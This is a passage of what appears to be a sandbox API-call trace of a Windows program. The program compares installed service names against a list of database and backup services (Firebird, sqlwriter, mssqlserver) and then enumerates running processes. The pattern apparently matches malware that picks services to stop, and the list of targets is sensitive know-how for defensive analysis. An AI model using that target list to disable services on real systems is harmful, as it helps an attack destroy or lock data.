(lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0131.837] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0131.837] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0131.837] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0131.837] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0131.837] lstrlenW (lpString="netprofm") returned 8 [0131.837] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0131.837] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0131.837] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0131.837] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0131.837] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0131.837] lstrlenW (lpString="NlaSvc") returned 6 [0131.837] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0131.837] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0131.837] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0131.837] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0131.837] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0131.837] lstrlenW (lpString="nsi") returned 3 [0131.837] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0131.837] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0131.837] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0131.837] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0131.837] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0131.837] lstrlenW (lpString="PcaSvc") returned 6 [0131.837] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0131.837] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0131.838] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0131.838] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0131.838] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0131.838] lstrlenW (lpString="PlugPlay") returned 8 [0131.838] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0131.838] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0131.838] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0131.838] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0131.838] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0131.838] lstrlenW (lpString="Power") returned 5 [0131.838] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0131.838] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0131.838] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0131.838] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0131.838] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0131.838] lstrlenW (lpString="ProfSvc") returned 7 [0131.838] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0131.838] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0131.838] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0131.838] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0131.838] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0131.838] lstrlenW (lpString="RpcEptMapper") returned 12 [0131.838] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0131.838] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0131.838] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0131.838] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0131.838] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0131.838] lstrlenW (lpString="RpcSs") returned 5 [0131.838] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0131.839] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0131.839] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0131.839] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0131.839] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0131.839] lstrlenW (lpString="SamSs") returned 5 [0131.839] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0131.839] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0131.839] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0131.839] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0131.839] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0131.839] lstrlenW (lpString="Schedule") returned 8 [0131.839] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0131.839] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0131.839] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0131.839] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0131.839] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0131.839] lstrlenW (lpString="SecurityHealthService") returned 21 [0131.839] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0131.839] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0131.839] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0131.839] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0131.839] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0131.839] lstrlenW (lpString="SENS") returned 4 [0131.839] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0131.839] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0131.839] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0131.839] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0131.839] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0131.839] lstrlenW (lpString="ShellHWDetection") returned 16 [0131.839] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0131.840] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0131.840] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0131.840] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0131.840] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0131.840] lstrlenW (lpString="Spooler") returned 7 [0131.840] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0131.840] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0131.840] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0131.840] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0131.840] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0131.840] lstrlenW (lpString="SSDPSRV") returned 7 [0131.840] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0131.840] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0131.840] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0131.840] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0131.840] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0131.840] lstrlenW (lpString="StateRepository") returned 15 [0131.840] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0131.840] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0131.840] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0131.840] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0131.840] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0131.840] lstrlenW (lpString="SysMain") returned 7 [0131.840] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0131.840] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0131.840] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0131.840] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0131.840] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x69bb60 | out: hHeap=0x5a0000) returned 1 [0131.841] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x10b0 [0131.903] Process32FirstW (in: hSnapshot=0x10b0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0131.903] Process32NextW (in: hSnapshot=0x10b0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0131.904] lstrlenW (lpString="System") returned 6 [0131.904] Process32NextW (in: hSnapshot=0x10b0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0131.905] lstrlenW (lpString="smss.exe") returned 8 [0131.905] Process32NextW (in: hSnapshot=0x10b0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0131.906] lstrlenW (lpString="csrss.exe") returned 9 [0131.906] Process32NextW (in: hSnapshot=0x10b0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0131.907] lstrlenW (lpString="wininit.exe") returned 11 [0131.907] Process32NextW (in: hSnapshot=0x10b0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0131.908] lstrlenW (lpString="csrss.exe") returned 9 [0131.908] Process32NextW (in: hSnapshot=0x10b0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0131.909] lstrlenW (lpString="winlogon.exe") returned 12 [0131.909] Process32NextW (in: hSnapshot=0x10b0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0131.910] lstrlenW (lpString="services.exe") returned 12 [0131.910] Process32NextW (in: hSnapshot=0x10b0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0131.911] lstrlenW (lpString="lsass.exe") returned 9 [0131.911] Process32NextW (in: hSnapshot=0x10b0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0131.911] lstrlenW (lpString="svchost.exe") returned 11 [0131.911] Process32NextW (in: hSnapshot=0x10b0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0131.912] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0131.912] Process32NextW (in: hSnapshot=0x10b0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0131.913] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0131.913] Process32NextW (in: hSnapshot=0x10b0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0131.914] lstrlenW (lpString="svchost.exe") returned 11 [0131.914] Process32NextW (in: hSnapshot=0x10b0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0131.915] lstrlenW (lpString="dwm.exe") returned 7 [0131.915] Process32NextW (in: hSnapshot=0x10b0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5d, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0131.916] lstrlenW (lpString="svchost.exe") returned 11 [0131.916] Process32NextW (in: hSnapshot=0x10b0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0131.917] lstrlenW (lpString="svchost.exe") returned 11 [0131.917] Process32NextW (in: hSnapshot=0x10b0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0131.918] lstrlenW (lpString="svchost.exe") returned 11 [0131.918] Process32NextW (in: hSnapshot=0x10b0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0131.918] lstrlenW (lpString="svchost.exe") returned 11 [0131.919] Process32NextW (in: hSnapshot=0x10b0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0131.919] lstrlenW (lpString="svchost.exe") returned 11 [0131.919] Process32NextW (in: hSnapshot=0x10b0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0131.921] lstrlenW (lpString="svchost.exe") returned 11 [0131.921] Process32NextW (in: hSnapshot=0x10b0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0131.921] lstrlenW (lpString="svchost.exe") returned 11 [0131.921] Process32NextW (in: hSnapshot=0x10b0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0131.922] lstrlenW (lpString="svchost.exe") returned 11 [0131.922] Process32NextW (in: hSnapshot=0x10b0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0131.923] lstrlenW (lpString="svchost.exe") returned 11 [0131.923] Process32NextW (in: hSnapshot=0x10b0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0131.924] lstrlenW (lpString="spoolsv.exe") returned 11 [0131.924] Process32NextW (in: hSnapshot=0x10b0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0131.925] lstrlenW (lpString="svchost.exe") returned 11 [0131.925] Process32NextW (in: hSnapshot=0x10b0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0131.926] lstrlenW (lpString="svchost.exe") returned 11 [0131.926] Process32NextW (in: hSnapshot=0x10b0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0131.927] lstrlenW (lpString="audiodg.exe") returned 11 [0131.927] Process32NextW (in: hSnapshot=0x10b0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0131.928] lstrlenW (lpString="sihost.exe") returned 10 [0131.928] Process32NextW (in: hSnapshot=0x10b0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0131.929] lstrlenW (lpString="svchost.exe") returned 11 [0131.929] Process32NextW (in: hSnapshot=0x10b0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0131.929] lstrlenW (lpString="taskhostw.exe") returned 13 [0131.929] Process32NextW (in: hSnapshot=0x10b0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0131.930] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0131.930] Process32NextW (in: hSnapshot=0x10b0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0131.931] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0131.931] Process32NextW (in: hSnapshot=0x10b0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0132.017] lstrlenW (lpString="explorer.exe") returned 12 [0132.017] Process32NextW (in: hSnapshot=0x10b0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0132.018] lstrlenW (lpString="Memory Compression") returned 18 [0132.018] Process32NextW (in: hSnapshot=0x10b0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0132.019] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0132.019] Process32NextW (in: hSnapshot=0x10b0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0132.020] lstrlenW (lpString="SearchUI.exe") returned 12 [0132.020] Process32NextW (in: hSnapshot=0x10b0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0132.021] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0132.021] Process32NextW (in: hSnapshot=0x10b0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0132.022] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0132.022] Process32NextW (in: hSnapshot=0x10b0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0132.023] lstrlenW (lpString="taskhostw.exe") returned 13 [0132.023] Process32NextW (in: hSnapshot=0x10b0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0132.024] lstrlenW (lpString="UsoClient.exe") returned 13 [0132.024] Process32NextW (in: hSnapshot=0x10b0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0132.025] lstrlenW (lpString="msoia.exe") returned 9 [0132.025] Process32NextW (in: hSnapshot=0x10b0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0132.026] lstrlenW (lpString="taskhostw.exe") returned 13 [0132.026] Process32NextW (in: hSnapshot=0x10b0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0132.027] lstrlenW (lpString="msoia.exe") returned 9 [0132.027] Process32NextW (in: hSnapshot=0x10b0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0132.028] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0132.028] Process32NextW (in: hSnapshot=0x10b0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0132.029] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0132.029] Process32NextW (in: hSnapshot=0x10b0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0132.030] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0132.030] Process32NextW (in: hSnapshot=0x10b0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, 